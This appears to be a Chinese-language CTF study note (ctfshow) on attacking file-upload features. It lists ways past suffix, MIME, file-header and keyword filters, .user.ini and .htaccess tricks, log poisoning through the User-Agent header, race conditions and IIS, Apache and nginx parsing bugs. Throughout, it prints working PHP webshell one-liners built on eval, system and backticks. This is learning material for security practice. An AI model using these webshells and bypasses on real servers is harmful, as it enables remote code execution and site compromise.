文件上传
后门代码必须用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如: jpg图片里面有php后门代码,后门不能被解析,所以连接不上
webshell和其对应网站的开发语言:
- php php马
- asp asp马
- .net aspx马
- java jsp马
文件上传的检测(ctfshow)
分为前端检测和后端检测 白名单策略和黑名单策略
前端检测(前端代码可改,在本地删掉或者更改前端代码即可)
- 检查文件后缀
后端检测(后端检查代码未知,只能去猜,可能是黑名单验证或者白名单验证)
上传检测
文件后缀验证: 检查上传文件的后缀名是否合法
- 可以通过可以试一下大小写绕过(windows),多后缀解析(上传php5,php7)
- 配置文件利用(
.user.ini
文件(nginx,apache).htaccess
文件(apache,nginx默认不支持但是可以通过其他配置支持))1
2
3
4
5
6
7
8
9
10
11.user.ini作用
1. 防止跨目录访问和文件跨目录读取:.user.ini文件可以帮助防止非法用户访问或读取目录中的文件(只对此目录和子目录的php程序起作用)
2. 文件包含:.user.ini文件中的auto_prepend_file和auto_append_file配置可以实现文件包含。auto_prepend_file配置项指定一个文件,该文件会在每个PHP脚本执行前被自动包含,类似于在文件前调用了require()函数。而auto_append_file配置项指定的文件会在每个PHP脚本执行后被自动包含
3. 使用的条件:服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)
总结一下:
利用.user.ini文件需要同目录下 有以下三个文件
// .user.ini
auto_prepend_file = 1.jpg // 包含图片
// 1.jpg
<?php eval(`$_GET['cmd']);?> // 后门代码
// index.php(任意php文件,用来执行.user.ini)
1
2
3
4
5
6
7.htaccess作用
网站的配置文件 和.user.ini类似 可以通过更改解析规则来实现解析文件马
利用:
先传入图片马
然后传入.htaccess文件,文件内容如下
AddType application/x-httpd-php .png
意思是将.png文件解析为php文件(.png可以替换为别的文件名)MIME类型验证: 在数据包的Content-Type字段中检查上传文件的类型
图片内容检测: 检查数据包中的图片内容是否合法,可以在数据包中慢慢删除一些数据,去测试检测点(然后再去看如何绕过)
检查标签(比如检测<?php ): 可以用短标签或者其他标签去绕过
1
2
3
4
5
6
7
8
9
10<? ?> // 需要开启短标签开关 short_open_tag
<?= // 不需要闭合标签 要求:PHP版本>PHP 5.4.0
// asp标签
<% %> // 要求开启asp_tags
// js标签 php7后好像就不能用了
<script language=”php”>system($_GET['cmd']);文件头检验: 添加图片文件头绕过(一般用gif文件头GIF89a来绕过)
检查
[]
: 可以用()去绕过 如<?php eval($_GET('cmd'));?>
检查
;
: 可以不写分号去绕过 如<?=system('tac ../fl*')?>
检查
()
: 可以用反引号去绕过 如<?=`tac ../f*`?>
检查
.
: 可以用远程文件包含(.user.ini
或者图片马
)去绕过,包含vps中的后门代码 IP 地址中的.
可以用ip转int类型去绕过 如<?php include '2130706433'?>
一些关键字被过滤了,可以用”.”去拼接 如log被过滤 可以用 lo”.”g去绕过
在所有的在请求体里面的绕过都无效的时候,可以试试尝试将payload写入UA头里面,因为服务器会有日志记录,所有我们可以将payload写入UA头里面,然后再通过.user.ini去包含图片马(图片马中要包含日志文件)来执行,如:
1
2
3
4
5
6
7
8
9
10
11
12随便发送一个包UA头里面带payload
// 图片马包含日志
// nginx日志路径为:/var/log/nginx/access.log
// apache日志路径为:/var/log/httpd/access_log
<?php include "/var/lo"."g/nginx/access.lo"."g"?>
// ""和. 来拼接绕过log关键字
// .user.ini
auto_prepend_file = 1.jpg // 包含图片
然后再访问该目录(会直接到该目录的php文件去执行)
然后看到的就是日志文件了
上传后检测
- 上传成功后检测文件,将文件删除
- 什么都删除: 可以试试条件竞争(在上传成功的时候,立马访问,创建新后门)
- 检测到恶意文件删除: 免杀 条件竞争
- 上传的文件更改(二次渲染)
- 上传图片马 发现名字和之前上传之前的不一样 然后大小,尺寸属性也不一样 但是图片内容(二进制数据)有相似的地方
此时需要用脚本生成特定的图片马,或者将恶意代码嵌入到相同图片内容的地方中间
https://blog.csdn.net/qq_40800734/article/details/105920149
- 上传图片马 发现名字和之前上传之前的不一样 然后大小,尺寸属性也不一样 但是图片内容(二进制数据)有相似的地方
中间件解析漏洞
IIS(version=6.0(通常为winserver 2003),7.0和7.5(通常为winserver 2008))
- IIS6.0
- 文件名: x.asp;x.jpg 就会将jpg解析成asp文件
- 目录名: x.asp/x.jpg 就会将jpg解析成asp文件(这个需要更改webshell的上一级的目录名)
- Apache HTTPD 换行解析漏洞 apache(2.4.0~2.4.29)
黑名单绕过
,如果是白名单策略可能不行: 如果开发者不以最后一个点为准去写白名单x.jpg.php%0A
则可以绕过- 在上传的时候更改
hex
(在php后缀后面加上x0A
)实现绕过,然后访问x.php%0A
就可以成功使服务器将php%0A
文件执行为php
- nginx
漏洞1:用户配置不当造成的解析漏洞
上传图片马后访问 然后在地址后面加上/.php 即可成功执行php
漏洞2.文件名的逻辑漏洞(Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7)
上传图片马1.gif
(注意gif后面的空格),后访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php
即可发现php已经被执行 - IIS 7.0/IIS 7.5
它的解析漏洞和nginx的漏洞1一样
编辑器漏洞
看编辑器的类型和版本,然后去搜漏洞利用
文件上传的黑盒和白盒
黑盒: 寻找一切存在文件上传的功能和应用
- 个人用户中心是否存在文件上传功能
- 后台管理系统是否存在文件上传功能
- 字典目录扫描探针文件上传构造地址
- 字典目录扫描探针编辑器目录构造地址
白盒: 看三点 中间件 编辑器 功能代码
- 中间件直接看语言环境常用搭配
- 编辑器直接看目录结构或搜索关键字
- 功能代码直接看源码应用或搜索关键字